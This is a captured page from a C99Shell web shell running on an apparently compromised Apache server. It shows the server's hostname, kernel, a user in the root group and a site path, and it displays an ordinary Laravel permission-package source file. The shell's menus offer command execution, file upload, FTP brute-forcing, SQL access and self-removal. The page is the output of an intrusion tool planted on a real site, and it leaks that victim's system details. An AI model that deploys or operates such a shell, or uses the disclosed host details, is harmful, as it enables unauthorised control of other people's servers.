!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/spatie/laravel-permission/src/   drwxr-xr-x
Free 28.3 GB of 117.98 GB (23.99%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PermissionRegistrar.php (4.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Permission;

use 
Illuminate\Cache\CacheManager;
use 
Illuminate\Contracts\Auth\Access\Authorizable;
use 
Illuminate\Contracts\Auth\Access\Gate;
use 
Illuminate\Support\Collection;
use 
Spatie\Permission\Contracts\Permission;
use 
Spatie\Permission\Contracts\Role;

class 
PermissionRegistrar
{
    
/** @var \Illuminate\Contracts\Cache\Repository */
    
protected $cache;

    
/** @var \Illuminate\Cache\CacheManager */
    
protected $cacheManager;

    
/** @var string */
    
protected $permissionClass;

    
/** @var string */
    
protected $roleClass;

    
/** @var \Illuminate\Support\Collection */
    
protected $permissions;

    
/** @var \DateInterval|int */
    
public static $cacheExpirationTime;

    
/** @var string */
    
public static $cacheKey;

    
/** @var string */
    
public static $cacheModelKey;

    
/**
     * PermissionRegistrar constructor.
     *
     * @param \Illuminate\Cache\CacheManager $cacheManager
     */
    
public function __construct(CacheManager $cacheManager)
    {
        
$this->permissionClass config('permission.models.permission');
        
$this->roleClass config('permission.models.role');

        
$this->cacheManager $cacheManager;
        
$this->initializeCache();
    }

    protected function 
initializeCache()
    {
        
self::$cacheExpirationTime config('permission.cache.expiration_time'config('permission.cache_expiration_time'));

        
self::$cacheKey config('permission.cache.key');
        
self::$cacheModelKey config('permission.cache.model_key');

        
$this->cache $this->getCacheStoreFromConfig();
    }

    protected function 
getCacheStoreFromConfig(): \Illuminate\Contracts\Cache\Repository
    
{
        
// the 'default' fallback here is from the permission.php config file, where 'default' means to use config(cache.default)
        
$cacheDriver config('permission.cache.store''default');

        
// when 'default' is specified, no action is required since we already have the default instance
        
if ($cacheDriver === 'default') {
            return 
$this->cacheManager->store();
        }

        
// if an undefined cache store is specified, fallback to 'array' which is Laravel's closest equiv to 'none'
        
if (! \array_key_exists($cacheDriverconfig('cache.stores'))) {
            
$cacheDriver 'array';
        }

        return 
$this->cacheManager->store($cacheDriver);
    }

    
/**
     * Register the permission check method on the gate.
     * We resolve the Gate fresh here, for benefit of long-running instances.
     *
     * @return bool
     */
    
public function registerPermissions(): bool
    
{
        
app(Gate::class)->before(function (Authorizable $userstring $ability) {
            if (
method_exists($user'checkPermissionTo')) {
                return 
$user->checkPermissionTo($ability) ?: null;
            }
        });

        return 
true;
    }

    
/**
     * Flush the cache.
     */
    
public function forgetCachedPermissions()
    {
        
$this->permissions null;

        return 
$this->cache->forget(self::$cacheKey);
    }

    
/**
     * Clear class permissions.
     * This is only intended to be called by the PermissionServiceProvider on boot,
     * so that long-running instances like Swoole don't keep old data in memory.
     */
    
public function clearClassPermissions()
    {
        
$this->permissions null;
    }

    
/**
     * Get the permissions based on the passed params.
     *
     * @param array $params
     *
     * @return \Illuminate\Support\Collection
     */
    
public function getPermissions(array $params = []): Collection
    
{
        if (
$this->permissions === null) {
            
$this->permissions $this->cache->remember(self::$cacheKeyself::$cacheExpirationTime, function () {
                return 
$this->getPermissionClass()
                    ->
with('roles')
                    ->
get();
            });
        }

        
$permissions = clone $this->permissions;

        foreach (
$params as $attr => $value) {
            
$permissions $permissions->where($attr$value);
        }

        return 
$permissions;
    }

    
/**
     * Get an instance of the permission class.
     *
     * @return \Spatie\Permission\Contracts\Permission
     */
    
public function getPermissionClass(): Permission
    
{
        return 
app($this->permissionClass);
    }

    public function 
setPermissionClass($permissionClass)
    {
        
$this->permissionClass $permissionClass;

        return 
$this;
    }

    
/**
     * Get an instance of the role class.
     *
     * @return \Spatie\Permission\Contracts\Role
     */
    
public function getRoleClass(): Role
    
{
        return 
app($this->roleClass);
    }

    
/**
     * Get the instance of the Cache Store.
     *
     * @return \Illuminate\Contracts\Cache\Store
     */
    
public function getCacheStore(): \Illuminate\Contracts\Cache\Store
    
{
        return 
$this->cache->getStore();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--